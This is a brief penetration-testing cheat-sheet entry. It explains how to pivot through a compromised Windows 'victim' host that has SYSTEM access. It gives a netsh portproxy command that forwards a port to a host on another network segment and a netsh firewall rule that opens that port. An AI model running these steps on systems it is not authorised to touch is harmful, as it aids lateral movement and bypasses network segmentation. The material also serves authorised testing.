For Windows machine (useful when have another network segment). Need to have SYSTEM access. The Service “IP Helper” must be running, and IPv6 support must be enabled.
- Use the following on victim machine:
netsh interface portproxy add v4tov4 listenport=VICTIMLISTENPORT listenaddress=VICTIMIP connectport=OTHERHOSTPORT connectaddress=OTHERHOSTIP - Also need to add it through firewall so that can connect:
netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip=VICTIMIP localport=VICTIMLISTENPORT action=allow - Can access via the victim IP and victim listen port now.